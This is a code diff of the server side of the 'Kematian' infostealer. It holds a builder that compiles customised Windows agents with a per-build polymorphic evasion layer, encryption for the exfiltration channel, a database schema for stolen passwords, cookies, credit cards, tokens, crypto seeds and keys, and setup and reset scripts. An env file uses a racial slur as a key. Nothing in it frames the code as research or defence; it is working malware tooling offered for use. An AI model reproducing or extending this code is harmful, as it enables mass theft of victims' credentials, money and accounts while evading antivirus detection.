"VALUES (?,?,?,?,?,?)",
(client_id, category or "upload", filename, filename, len(raw), ts),
)
conn.commit()
return cur.lastrowid
finally:
conn.close()
def blobs_for(client_id=None):
conn = db.get_conn()
try:
if client_id:
rows = conn.execute(
"SELECT * FROM blobs WHERE client_id = ? ORDER BY id DESC", (client_id,)
).fetchall()
else:
rows = conn.execute("SELECT * FROM blobs ORDER BY id DESC").fetchall()
return [dict(r) for r in rows]
finally:
conn.close()
def blob_path(client_id, blob_id):
conn = db.get_conn()
try:
row = conn.execute(
"SELECT * FROM blobs WHERE id = ? AND client_id = ?", (blob_id, client_id)
).fetchone()
finally:
conn.close()
if not row:
return None
d = dict(row)
path = os.path.join(LOOT_ROOT, d["client_id"], d["filename"])
if not os.path.exists(path):
return None
return path
+332
View File
@@ -0,0 +1,332 @@
"""
Web builder for the kematian agent.
Project: https://t.me/electronic_sex
Copies the Go native tree to a private temp dir, patches in the entered config
(endpoint + ingest key + optional Telegram), runs `go build`, and drops the
resulting .exe into builds/ so it can be downloaded. The original source is
never touched.
Results + build output are kept per build so the UI can show a log and offer a
download link.
"""
import os
import shutil
import subprocess
import tempfile
import time
import threading
# Directory that holds the native Go source tree (go.mod lives here).
# Resolved robustly: use BUILDER_NATIVE_DIR if set, else probe common relative
# locations so a relative default never one level too deep (../.. would skip the
# repo folder). Probe both "../../" and "../" style layouts.
_here = os.path.dirname(os.path.abspath(__file__))
NATIVE_DIR = os.environ.get("BUILDER_NATIVE_DIR", "")
_TRIED_ROOTS = [
os.path.join(_here, "..", "..", "Kematian-Standalone", "native"),
os.path.join(_here, "..", "Kematian-Standalone", "native"),
os.path.join(_here, "..", "..", "..", "Kematian-Standalone", "native"),
]
# Where built .exe files are published for download.
BUILDS_DIR = os.environ.get("BUILDER_OUTPUT_DIR", os.path.join(_here, "builds"))
_build_lock = threading.Lock()
_last_build_id = [0]
_jobs = {} # id -> {status, log, exe, error, created}
def _resolve_native_dir():
"""Return the path to the Go source tree, or None if not found.
A candidate is only valid if it has go.mod AND the source files we patch
(recovery/exfil/panel.go + cmd/exfil/main.go). Some old copies only ship
go.mod and would produce a confusing build error, so we skip them.
"""
def is_valid(p):
return (os.path.exists(os.path.join(p, "go.mod"))
and os.path.exists(os.path.join(p, "recovery", "exfil", "panel.go"))
and os.path.exists(os.path.join(p, "cmd", "exfil", "main.go")))
if NATIVE_DIR:
cand = os.path.normpath(NATIVE_DIR)
if is_valid(cand):
return cand
for root in _TRIED_ROOTS:
cand = os.path.normpath(root)
if is_valid(cand):
return cand
return None
def _patch(text, replacements):
for old, new in replacements:
if old not in text:
return None, f"pattern not found: {old!r}"
text = text.replace(old, new)
return text, None
def _sh_rmtree_git(dirpath):
"""Remove stray .git dirs at the source root of a copied tree."""
import shutil as _sh
_sh.rmtree(os.path.join(dirpath, ".git"), ignore_errors=True)
def _find_cargo():
"""Locate the cargo executable (prefer env override, then PATH)."""
override = os.environ.get("BUILDER_CARGO")
if override and os.path.exists(override):
return override
from shutil import which
return which("cargo")
def _write_gen(gen_path):
"""Regenerate src/gen.rs with fresh random constants so each build produces a
distinct binary. This is the polymorphic/metamorphic layer for the Rust DLL."""
import secrets
def rnd():
return secrets.randbelow((1 << 32) - 1)
def rnd8():
# avoid 0x00 so XOR keystream keys are never trivially identity
return secrets.randbelow(255) + 1
def rnd16():
return secrets.randbelow((1 << 16) - 1) | 1
def rnd64():
return (secrets.randbelow((1 << 32) - 1) << 32) | secrets.randbelow((1 << 32) - 1)
seed = rnd() | 1
k_token = rnd8()
k_vendor = rnd8()
k_smbios = rnd8()
k_env = rnd8()
k_display = rnd8()
junk_xor = rnd() | 1
junk_rot = rnd() | 1
junk_n = secrets.randbelow(16) + 4
opaque_tag = rnd64()
# Additional polymorphic constants for new features
# Control flow flattening state key
cff_key = rnd() | 1
# Syscall spoofing trampoline selector
syscall_tramp = secrets.randbelow(8) + 1
# Sleep encryption round count
sleep_rounds = secrets.randbelow(4) + 3
# Anti-hook check order permutation seed
hook_order_seed = rnd() | 1
# Stack spoofing offset
stack_spoof_off = secrets.randbelow(0x1000) + 0x100
# Junk block variant selector
junk_variant = secrets.randbelow(4)
# Opaque predicate complexity
opaque_complexity = secrets.randbelow(3) + 1
content = (
"// AUTO-GENERATED per build by builder.py. Do not edit.\n"
"// Each build rewrites this file, so the guard's keys, seeds and junk\n"
"// blocks are unique to every artifact.\n\n"
f"pub const GEN_SEED: u32 = 0x{seed:08X};\n\n"
f"pub const K_TOKEN: u8 = {k_token};\n"
f"pub const K_VENDOR: u8 = {k_vendor};\n"
f"pub const K_SMBIOS: u8 = {k_smbios};\n"
f"pub const K_ENV: u8 = {k_env};\n"
f"pub const K_DISPLAY: u8 = {k_display};\n\n"
f"pub const JUNK_XOR: u32 = 0x{junk_xor:08X};\n"
f"pub const JUNK_ROT: u32 = 0x{junk_rot:08X};\n"
f"pub const JUNK_N: u32 = {junk_n};\n\n"
f"pub const OPAQUE_TAG: u64 = 0x{opaque_tag:016X};\n\n"
"// Polymorphic control-flow / evasion layer constants\n"
f"pub const CFF_KEY: u32 = 0x{cff_key:08X};\n"
f"pub const SYSCALL_TRAMP: u8 = {syscall_tramp};\n"
f"pub const SLEEP_ROUNDS: u8 = {sleep_rounds};\n"
f"pub const HOOK_ORDER_SEED: u32 = 0x{hook_order_seed:08X};\n"
f"pub const STACK_SPOOF_OFF: u32 = 0x{stack_spoof_off:04X};\n"
f"pub const JUNK_VARIANT: u8 = {junk_variant};\n"
f"pub const OPAQUE_COMPLEXITY: u8 = {opaque_complexity};\n"
)
with open(gen_path, "w", encoding="utf-8", errors="replace") as f:
f.write(content)
def _get_rustflags():
"""Generate per-build RUSTFLAGS for codegen variance."""
import secrets
flags = [
"-C", "opt-level=2", # or 's' or 'z' randomly
"-C", "lto=thin",
"-C", "codegen-units=1",
"-C", "panic=abort",
"-C", "strip=symbols",
]
# Randomly vary optimization level
opt_level = secrets.choice(["2", "3", "s", "z"])
flags[1] = opt_level
# Randomly vary codegen units (affects function layout)
cgu = secrets.choice(["1", "2", "4", "8"])
flags[5] = cgu
# Randomly enable/disable specific optimizations
if secrets.randbelow(2):
flags.extend(["-C", "llvm-args=-enable-gvn-hoist=false"])
if secrets.randbelow(2):
flags.extend(["-C", "llvm-args=-enable-loop-interchange=false"])
if secrets.randbelow(2):
flags.extend(["-C", "llvm-args=-enable-loop-unroll=false"])
# Random target-cpu for instruction selection variance
cpu = secrets.choice(["x86-64-v2", "x86-64-v3", "x86-64-v4", "nehalem", "haswell", "skylake"])
flags.extend(["-C", f"target-cpu={cpu}"])
return flags
def _build(work_dir, endpoint, auth, bot_token, chat_id, build_name, rust_dir):
# --- build the Rust anti-analysis extractor so every build ships a fresh,
# guarded DLL (it is go:embed'ed into the agent at compile time). The DLL it
# produces is copied to recovery/platform/compat-layer.dll inside
# the copied tree before `go build` runs. rust_dir is the *real* sibling of
# the source native tree (not inside the temp copy).
if os.path.exists(os.path.join(rust_dir, "Cargo.toml")):
cargo = _find_cargo()
if cargo:
try:
# Polymorphic layer: regenerate the per-build constants before
# compiling so every artifact gets a unique binary / hash.
gen_path = os.path.join(rust_dir, "src", "gen.rs")
try:
_write_gen(gen_path)
except Exception:
pass # keep existing gen.rs if regeneration fails
subprocess.run(
[cargo, "build", "--release", "--target", "x86_64-pc-windows-gnu"],
cwd=rust_dir, capture_output=True, text=True, timeout=900,
env={**os.environ, "RUSTFLAGS": " ".join(_get_rustflags())},
)
built_dll = os.path.join(
rust_dir, "target", "x86_64-pc-windows-gnu", "release", "compat_layer.dll"
)
dest_dll = os.path.join(work_dir, "recovery", "platform", "compat-layer.dll")
if os.path.exists(built_dll) and os.path.exists(dest_dll):
shutil.copy2(built_dll, dest_dll)
except Exception:
pass # keep the already-present DLL if Rust rebuild fails
main_path = os.path.join(work_dir, "cmd", "exfil", "main.go")
panel_path = os.path.join(work_dir, "recovery", "exfil", "panel.go")
if not os.path.exists(panel_path):
return "source missing: recovery/exfil/panel.go not found in the copied tree"
if not os.path.exists(main_path):
return "source missing: cmd/exfil/main.go not found in the copied tree"
# --- patch panel.go: endpoint + auth
with open(panel_path, "r", encoding="utf-8", errors="replace") as f:
text = f.read()
text, err = _patch(text, [
('PanelEndpoint = "http://127.0.0.1:5000/api/ingest"', f'PanelEndpoint = "{endpoint}"'),
('PanelAuth = "CHANGE-ME"', f'PanelAuth = "{auth}"'),
])
if err:
return err
with open(panel_path, "w", encoding="utf-8") as f:
f.write(text)
# --- patch main.go: telegram (only if provided)
with open(main_path, "r", encoding="utf-8", errors="replace") as f:
text = f.read()
if bot_token and chat_id and bot_token != "YOUR_BOT_TOKEN_HERE":
text, err = _patch(text, [
('defaultBotToken = "YOUR_BOT_TOKEN_HERE"', f'defaultBotToken = "{bot_token}"'),
('defaultChatID = "YOUR_CHAT_ID_HERE"', f'defaultChatID = "{chat_id}"'),
])
if err:
return err
else:
# telegram disabled: nothing to patch, code checks for placeholder anyway
pass
with open(main_path, "w", encoding="utf-8") as f:
f.write(text)
# --- build
env = dict(os.environ)
env["CGO_ENABLED"] = "1"
env.setdefault("GOOS", "windows")
env.setdefault("GOARCH", "amd64")
out_path = os.path.join(work_dir, "kematian.exe")
cmd = ["go", "build", "-ldflags=-H=windowsgui -s -w", "-o", out_path, "./cmd/exfil"]
proc = subprocess.run(cmd, cwd=work_dir, env=env, capture_output=True, text=True, timeout=1200)
log = proc.stdout + proc.stderr
if proc.returncode != 0:
return "BUILD FAILED\n" + log
if not os.path.exists(out_path):
return "build ok but no exe produced\n" + log
os.makedirs(BUILDS_DIR, exist_ok=True)
safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_")
filename = f"{safe}.exe"
dest = os.path.join(BUILDS_DIR, filename)
shutil.copy2(out_path, dest)
return None # success; log returned separately
def start_build(endpoint, auth, bot_token, chat_id, build_name):
with _build_lock:
_last_build_id[0] += 1
build_id = _last_build_id[0]
_jobs[build_id] = {
"status": "running",
"log": "",
"exe": None,
"error": None,
"created": int(time.time()),
}
def worker():
job = _jobs[build_id]
native = _resolve_native_dir()
if not native:
job["status"] = "error"
job["error"] = "Could not locate the agent Go source tree (go.mod). Set BUILDER_NATIVE_DIR."
return
tmp = tempfile.mkdtemp(prefix="kematian-build-")
try:
shutil.copytree(native, tmp, dirs_exist_ok=True)
_sh_rmtree_git(tmp)
# Real rust-extractor sits next to the native tree on disk.
rust_dir = os.path.normpath(os.path.join(os.path.dirname(native), "rust-extractor"))
err = _build(tmp, endpoint, auth, bot_token, chat_id, build_name, rust_dir)
if err:
job["status"] = "error"
job["error"] = err
else:
safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_")
exe = os.path.join(BUILDS_DIR, f"{safe}.exe")
job["status"] = "done"
job["exe"] = exe
except Exception as e:
job["status"] = "error"
job["error"] = str(e)
finally:
shutil.rmtree(tmp, ignore_errors=True)
threading.Thread(target=worker, daemon=True).start()
return build_id
def job_status(build_id):
return _jobs.get(build_id)
def all_jobs():
return dict(_jobs)
+72
View File
@@ -0,0 +1,72 @@
"""
End-to-end encryption for the collector channel.
Project: https://t.me/electronic_sex
Scheme (interoperable with the Go agent, see native/recovery/exfil/panel.go):
- agent generates an ephemeral X25519 keypair per message
- shared = ECDH(agent_ephemeral_priv, panel_public)
- key = HKDF-SHA256(shared, salt="kematian-e2ee-salt", info="kematian-e2ee-v1", 32)
- ct = ChaCha20-Poly1305(key, nonce=12B random)
- wire = base64( ephemeral_pub(32) || nonce(12) || ct )
The panel private key is the ONLY thing able to decrypt. The agent never
knows it; the panel never sends secrets over the wire.
"""
import base64
import os
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
PRIV_KEY_FILE = os.path.join(os.path.dirname(__file__), "kematian_e2ee.key")
SALT = b"kematian-e2ee-salt"
INFO = b"kematian-e2ee-v1"
KEY_LEN = 32
NONCE_LEN = 12
PUB_LEN = 32
def load_or_create_keypair() -> X25519PrivateKey:
if os.path.exists(PRIV_KEY_FILE):
with open(PRIV_KEY_FILE, "rb") as f:
return X25519PrivateKey.from_private_bytes(f.read())
sk = X25519PrivateKey.generate()
with open(PRIV_KEY_FILE, "wb") as f:
f.write(sk.private_bytes(
serialization.Encoding.Raw,
serialization.PrivateFormat.Raw,
serialization.NoEncryption(),
))
return sk
def public_key_hex() -> str:
return load_or_create_keypair().public_key().public_bytes(
serialization.Encoding.Raw, serialization.PublicFormat.Raw
).hex()
def _derive_key(shared: bytes) -> bytes:
return HKDF(
algorithm=hashes.SHA256(),
length=KEY_LEN,
salt=SALT,
info=INFO,
).derive(shared)
def decrypt_wire(payload_b64: str) -> bytes:
raw = base64.b64decode(payload_b64)
if len(raw) < PUB_LEN + NONCE_LEN + 16:
raise ValueError("payload too short")
ephemeral_pub = raw[:PUB_LEN]
nonce = raw[PUB_LEN:PUB_LEN + NONCE_LEN]
ct = raw[PUB_LEN + NONCE_LEN:]
sk = load_or_create_keypair()
shared = sk.exchange(X25519PublicKey.from_public_bytes(ephemeral_pub))
key = _derive_key(shared)
return ChaCha20Poly1305(key).decrypt(nonce, ct, None)
+246
View File
@@ -0,0 +1,246 @@
"""
Kematian Collector Panel - SQLite schema and access layer.
Every category from the agent's CollectionResult gets its own table, all
keyed to a client row. Lookups are done through this module so the web
templates stay clean and the ingest endpoint stays idempotent.
"""
import os
import sqlite3
import threading
DB_PATH = os.path.join(os.path.dirname(__file__), "kematian.db")
_lock = threading.Lock()
SCHEMA = """
CREATE TABLE IF NOT EXISTS clients (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL UNIQUE,
os TEXT,
arch TEXT,
version TEXT,
ip TEXT,
country TEXT,
user_agent TEXT,
first_seen INTEGER,
last_seen INTEGER,
total_entries INTEGER DEFAULT 0
);
CREATE TABLE IF NOT EXISTS passwords (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
url TEXT,
username TEXT,
password TEXT,
browser TEXT,
profile TEXT
);
CREATE TABLE IF NOT EXISTS cookies (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
host TEXT,
name TEXT,
value TEXT,
path TEXT,
secure INTEGER,
http_only INTEGER,
expires_utc INTEGER,
browser TEXT,
profile TEXT
);
CREATE TABLE IF NOT EXISTS autofill (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
name TEXT,
value TEXT,
date_created INTEGER,
browser TEXT,
profile TEXT
);
CREATE TABLE IF NOT EXISTS history (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
url TEXT,
title TEXT,
visit_time_unix INTEGER,
visit_count INTEGER,
last_visit_time INTEGER,
browser TEXT,
profile TEXT
);
CREATE TABLE IF NOT EXISTS bookmarks (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
name TEXT,
url TEXT,
type TEXT,
browser TEXT,
profile TEXT
);
CREATE TABLE IF NOT EXISTS credit_cards (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
name_on_card TEXT,
expiration_month INTEGER,
expiration_year INTEGER,
card_number TEXT,
nickname TEXT,
browser TEXT,
profile TEXT
);
CREATE TABLE IF NOT EXISTS discord_tokens (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
token TEXT,
source TEXT
);
CREATE TABLE IF NOT EXISTS files (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
path TEXT,
name TEXT,
ext TEXT,
size INTEGER,
modified INTEGER,
dir TEXT,
tags TEXT
);
CREATE TABLE IF NOT EXISTS extensions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
ext_id TEXT,
name TEXT,
version TEXT,
browser TEXT,
profile TEXT,
path TEXT,
category TEXT
);
CREATE TABLE IF NOT EXISTS wallets (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
name TEXT,
type TEXT,
path TEXT,
files INTEGER,
size INTEGER,
addresses TEXT,
vault_data TEXT
);
CREATE TABLE IF NOT EXISTS telegram (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
account TEXT,
path TEXT,
files INTEGER,
size INTEGER
);
CREATE TABLE IF NOT EXISTS keys (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
type TEXT,
name TEXT,
path TEXT,
size INTEGER,
content TEXT
);
CREATE TABLE IF NOT EXISTS app_credentials (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
application TEXT,
host TEXT,
port INTEGER,
username TEXT,
password TEXT,
protocol TEXT,
extra TEXT
);
CREATE TABLE IF NOT EXISTS seeds (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
source TEXT,
path TEXT,
phrase TEXT,
words INTEGER
);
CREATE TABLE IF NOT EXISTS gaming (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
platform TEXT,
payload TEXT
);
CREATE TABLE IF NOT EXISTS steam_tokens (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
steam_id TEXT,
token TEXT
);
CREATE TABLE IF NOT EXISTS vpns (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
vpn TEXT,
payload TEXT
);
CREATE TABLE IF NOT EXISTS admin (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password_hash TEXT NOT NULL
);
CREATE TABLE IF NOT EXISTS blobs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
category TEXT,
name TEXT,
filename TEXT,
size INTEGER,
created INTEGER
);
CREATE TABLE IF NOT EXISTS abuse_checker (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
filename TEXT,
wordlist TEXT,
mailpass TEXT,
combos TEXT,
check_type TEXT,
time INTEGER
);
"""
def get_conn():
conn = sqlite3.connect(DB_PATH)
conn.row_factory = sqlite3.Row
conn.execute("PRAGMA journal_mode=WAL")
conn.execute("PRAGMA foreign_keys=ON")
return conn
def init_db():
with _lock:
conn = get_conn()
try:
conn.executescript(SCHEMA)
conn.commit()
finally:
conn.close()
+49
View File
@@ -0,0 +1,49 @@
"""
Example collector that mirrors the panel ingest contract.
Point this at a running panel and it pushes a sample CollectionResult.
Usage: python example_post.py (or edit to set your own values)
"""
import json
import urllib.request
PANEL = "http://localhost:5000/api/ingest"
KEY = "kematian-ingest-key-CHANGE-ME"
payload = {
"clientId": "demo-client-01",
"host": {"os": "Windows 11", "arch": "x64", "version": "10.0.22631"},
"passwords": [
{"url": "https://github.com", "username": "demo", "password": "hunter2",
"browser": "chrome", "profile": "Default"},
],
"cookies": [
{"host": ".example.com", "name": "session", "value": "abc123",
"path": "/", "secure": True, "httpOnly": True, "browser": "chrome", "profile": "Default"},
],
"creditCards": [
{"nameOnCard": "Demo User", "expirationMonth": 12, "expirationYear": 2029,
"cardNumber": "4111111111111111", "browser": "edge", "profile": "Profile 1"},
],
"discordTokens": [
{"token": "fake.discord.token.here", "source": "C:\\Users\\demo\\AppData\\Roaming\\discord"},
],
"wallets": [
{"name": "MetaMask", "type": "chrome", "path": "C:\\...\\MetaMask", "size": 2048},
],
"gaming": {"steam": {"steamPath": "C:\\Program Files (x86)\\Steam", "account": "demo"}},
"vpns": {"nordvpn": [{"version": "6.0", "username": "demo", "password": "pw"}]},
}
req = urllib.request.Request(
PANEL,
data=json.dumps(payload).encode(),
headers={"Authorization": f"Bearer {KEY}", "Content-Type": "application/json"},
method="POST",
)
try:
with urllib.request.urlopen(req) as resp:
print(resp.status, resp.read().decode())
except Exception as e:
print("FAILED:", e)
+2
View File
@@ -0,0 +1,2 @@
PANEL_INGEST_KEY=blackniggers
PANEL_SECRET=32751763224324
+3
View File
@@ -0,0 +1,3 @@
Flask==3.0.3
Werkzeug==3.0.3
cryptography>=42.0.0
+54
View File
@@ -0,0 +1,54 @@
@echo off
rem ============================================================
rem Kematian panel - full reset
rem Project: https://t.me/electronic_sex
rem
rem Stops the panel, then deletes:
rem - kematian.db (all clients / loot / admin account)
rem - kematian_e2ee.key (E2EE keypair - regenerates on start)
rem - .setup_done (re-enables /setup)
rem - builds\*.exe (previously built agents)
rem - loot\* (hosted files)
rem - __pycache__ (stale bytecode)
rem - final\kematian.exe (built agent)
rem - final\kematian.log (agent run log)
rem
rem Keeps panel.env (ingest key / secret). Delete panel.env too if
rem you want setup.bat to prompt for fresh credentials again.
rem ============================================================
cd /d "%~dp0"
echo.
echo This will WIPE all collected data and the admin account.
echo Built agents under builds\ and final\ are deleted too.
echo (panel.env with your ingest key is KEPT.)
echo.
set /p confirm="Type RESET to continue, anything else to cancel: "
if /i not "%confirm%"=="RESET" (
echo Cancelled.
pause
exit /b 0
)
echo.
echo [1/2] Stopping any running panel (port 5000)...
for /f "tokens=5" %%p in ('netstat -ano ^| findstr ":5000" ^| findstr "LISTENING"') do (
echo killing PID %%p
taskkill /f /pid %%p >nul 2>&1
)
echo [2/2] Deleting state...
if exist kematian.db del /f kematian.db
if exist kematian_e2ee.key del /f kematian_e2ee.key
if exist .setup_done del /f .setup_done
if exist builds del /f /q builds\*.exe 2>nul
if exist loot rmdir /s /q loot
if exist __pycache__ rmdir /s /q __pycache__
if exist "..\Kematian-Standalone\final\kematian.exe" del /f "..\Kematian-Standalone\final\kematian.exe"
if exist "..\Kematian-Standalone\final\kematian.log" del /f "..\Kematian-Standalone\final\kematian.log"
echo.
echo Done. Start the panel with setup.bat (or python app.py) and
echo visit http://localhost:5000/setup to create a fresh admin account.
echo.
pause
+35
View File
@@ -0,0 +1,35 @@
@echo off
rem ============================================================
rem Kematian panel - reset admin password (keeps all data)
rem Project: https://t.me/electronic_sex
rem ============================================================
cd /d "%~dp0"
if not exist kematian.db (
echo No database found. Start the panel once (setup.bat) first.
pause
exit /b 1
)
echo.
set /p user="Admin username [leave empty for first admin]: "
set /p pass="New password (min 6 chars): "
if "%pass%"=="" (
echo Password cannot be empty.
pause
exit /b 1
)
python -c "import sqlite3,sys; from werkzeug.security import generate_password_hash; c=sqlite3.connect('kematian.db'); where=('id=(SELECT id FROM admin ORDER BY id LIMIT 1)' if sys.argv[1]=='' else 'username=?'); q='UPDATE admin SET password_hash=? WHERE '+where; args=[generate_password_hash(sys.argv[2])]+([sys.argv[1]] if sys.argv[1] else []); n=c.execute(q,args).rowcount; c.commit(); c.close(); sys.exit(0 if n else 1)" "%user%" "%pass%"
if errorlevel 1 (
echo.
echo [!] No matching admin account found. User not updated.
pause
exit /b 1
)
echo.
echo Password updated. Log in with the new credentials.
echo (Data, clients and loot are untouched.)
pause
+78
View File
@@ -0,0 +1,78 @@
@echo off
rem ============================================================
rem Kematian panel setup + start
rem Project: https://t.me/electronic_sex
rem
rem Prompts for the ingest key (and session secret) on first run,
rem saves them to panel.env, reuses them on later runs, then
rem installs deps and starts the panel with those env vars.
rem ============================================================
setlocal enabledelayedexpansion
cd /d "%~dp0"
set "CFG=panel.env"
echo.
echo ============================================================
echo Kematian panel setup
echo Project: https://t.me/electronic_sex
echo ============================================================
echo.
rem ---- load existing config or prompt for fresh values ----
if exist "%CFG%" (
call :loadcfg
echo Found existing config: ingest key = !PANEL_INGEST_KEY!
set /p redo="Re-enter ingest key and secret? [y/N]: "
if /i "!redo!"=="y" set "FRESH=1"
) else (
set "FRESH=1"
)
if defined FRESH (
set /p PANEL_INGEST_KEY="Ingest key (agent PanelAuth must match this) [CHANGE-ME]: "
if "!PANEL_INGEST_KEY!"=="" set "PANEL_INGEST_KEY=CHANGE-ME"
set /p PANEL_SECRET="Panel session secret (press Enter for random): "
if "!PANEL_SECRET!"=="" set "PANEL_SECRET=%RANDOM%%RANDOM%%RANDOM%"
>"%CFG%" (
echo PANEL_INGEST_KEY=!PANEL_INGEST_KEY!
echo PANEL_SECRET=!PANEL_SECRET!
)
echo Saved to %CFG%
)
call :loadcfg
echo.
echo Using ingest key : %PANEL_INGEST_KEY%
echo Using secret : %PANEL_SECRET%
echo.
echo [1/2] Installing Python dependencies...
python -m pip install -r requirements.txt
if errorlevel 1 (
echo.
echo [!] pip install failed. Make sure Python is on PATH.
pause
exit /b 1
)
echo [2/2] Starting panel...
echo.
echo First run? Open http://localhost:5000/setup to create the admin
echo account, then http://localhost:5000/ to log in.
echo.
echo When building an agent, set PanelAuth / ingest key to:
echo %PANEL_INGEST_KEY%
echo.
echo Press Ctrl+C to stop the panel.
echo.
python app.py
pause
exit /b 0
rem ---- read KEY=VALUE lines from the config file ----
:loadcfg
if not exist "%CFG%" exit /b 0
for /f "usebackq tokens=1,* delims==" %%a in ("%CFG%") do set "%%a=%%b"
exit /b 0
+307
View File
@@ -0,0 +1,307 @@
:root {
--bg: #0a0a0f;
--bg-2: #131318;
--bg-3: #1b1b22;
--bg-4: #232330;
--border: #26262f;
--border-2: #33333d;
--text: #ececf1;
--muted: #8b8b98;
--dim: #5b5b66;
--accent: #a855f7;
--accent-2: #7c3aed;
--accent-soft: rgba(168, 85, 247, 0.12);
--accent-dim: rgba(168, 85, 247, 0.18);
--green: #34d399;
--green-dim: rgba(52, 211, 153, 0.12);
--red: #f87171;
--red-dim: rgba(248, 113, 113, 0.12);
--purple-1: #c084fc;
--mono: "JetBrains Mono", "Cascadia Code", Consolas, monospace;
}
* { box-sizing: border-box; }
html, body {
margin: 0;
padding: 0;
background: var(--bg);
color: var(--text);
font-family: "Inter", system-ui, -apple-system, sans-serif;
font-size: 14px;
line-height: 1.5;
-webkit-font-smoothing: antialiased;
}
a { color: inherit; text-decoration: none; }
.mono { font-family: var(--mono); font-size: 12px; }
.accent { color: var(--accent); }
.muted { color: var(--muted); }
::-webkit-scrollbar { width: 9px; height: 9px; }
::-webkit-scrollbar-thumb { background: var(--border-2); border-radius: 6px; }
::-webkit-scrollbar-thumb:hover { background: var(--accent-2); }
::-webkit-scrollbar-track { background: transparent; }
/* ---------- sidebar ---------- */
.sidebar {
position: fixed;
left: 0; top: 0; bottom: 0;
width: 248px;
background: var(--bg-2);
border-right: 1px solid var(--border);
display: flex;
flex-direction: column;
overflow-y: auto;
z-index: 20;
padding: 20px 14px;
}
.brand {
display: flex;
align-items: center;
gap: 11px;
padding: 2px 6px 18px;
}
.brand-logo {
width: 38px; height: 38px;
border-radius: 11px;
background: linear-gradient(135deg, var(--accent-2), var(--accent));
display: flex; align-items: center; justify-content: center;
font-size: 19px;
color: #fff;
box-shadow: 0 4px 16px rgba(124, 58, 237, 0.4);
}
.brand-name { font-size: 19px; font-weight: 800; letter-spacing: -0.4px; color: #fff; }
.brand-dot { color: var(--accent); }
.profile {
background: var(--bg-3);
border: 1px solid var(--border);
border-radius: 14px;
padding: 14px;
display: flex;
align-items: center;
gap: 12px;
margin-bottom: 20px;
}
.profile-avatar {
width: 42px; height: 42px;
border-radius: 12px;
background: linear-gradient(135deg, #2a2a35, #1e1e27);
border: 1px solid var(--border-2);
display: flex; align-items: center; justify-content: center;
font-weight: 700; font-size: 18px; color: var(--accent);
}
.profile-name { font-weight: 600; font-size: 14px; }
.profile-role { font-size: 11px; color: var(--muted); margin-top: 1px; }
.nav-group-label {
font-size: 10px;
text-transform: uppercase;
letter-spacing: 1.2px;
color: var(--dim);
font-weight: 700;
padding: 14px 8px 6px;
}
.nav { display: flex; flex-direction: column; gap: 3px; }
.nav-item {
display: flex;
align-items: center;
gap: 11px;
padding: 9px 12px;
border-radius: 10px;
color: var(--muted);
font-weight: 500;
font-size: 13px;
transition: background 0.15s, color 0.15s;
}
.nav-item:hover { background: var(--bg-3); color: var(--text); }
.nav-item .nav-ico { width: 17px; height: 17px; flex: 0 0 17px; opacity: 0.85; }
.sidebar-foot {
margin-top: auto;
padding: 14px 6px 4px;
border-top: 1px solid var(--border);
display: flex;
flex-direction: column;
gap: 8px;
}
.online { display: flex; align-items: center; gap: 7px; font-size: 12px; color: var(--text); font-weight: 600; }
.online-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--green); box-shadow: 0 0 8px var(--green); }
.foot-user { font-size: 12px; color: var(--muted); }
.logout-btn { margin-top: 4px; padding: 9px 12px; border-radius: 10px; background: var(--red-dim); color: var(--red); font-weight: 600; font-size: 13px; text-align: center; transition: background 0.15s; }
.logout-btn:hover { background: rgba(248, 113, 113, 0.2); }
/* ---------- main ---------- */
.main.with-sidebar { margin-left: 248px; }
.main { padding: 26px 30px 60px; }
.flash { padding: 12px 16px; margin-bottom: 18px; border-radius: 12px; border: 1px solid var(--border); font-size: 13px; }
.flash-success { background: var(--green-dim); border-color: rgba(52, 211, 153, 0.3); color: var(--green); }
.flash-error { background: var(--red-dim); border-color: var(--red); color: var(--red); }
.flash-info { background: var(--bg-3); }
/* ---------- page head ---------- */
.page-head {
display: flex;
align-items: flex-start;
justify-content: space-between;
gap: 16px;
margin-bottom: 24px;
flex-wrap: wrap;
}
.page-head h1 { margin: 0; font-size: 24px; font-weight: 800; letter-spacing: -0.4px; }
.page-head .muted { margin: 4px 0 0; }
.with-ico { display: flex; align-items: center; gap: 10px; }
.head-ico { width: 26px; height: 26px; }
.head-actions { display: flex; gap: 10px; }
.section-title { margin: 34px 0 14px; font-size: 17px; font-weight: 700; }
/* ---------- buttons ---------- */
.btn {
display: inline-flex; align-items: center; gap: 6px;
padding: 9px 15px; border-radius: 10px;
font-size: 13px; font-weight: 600;
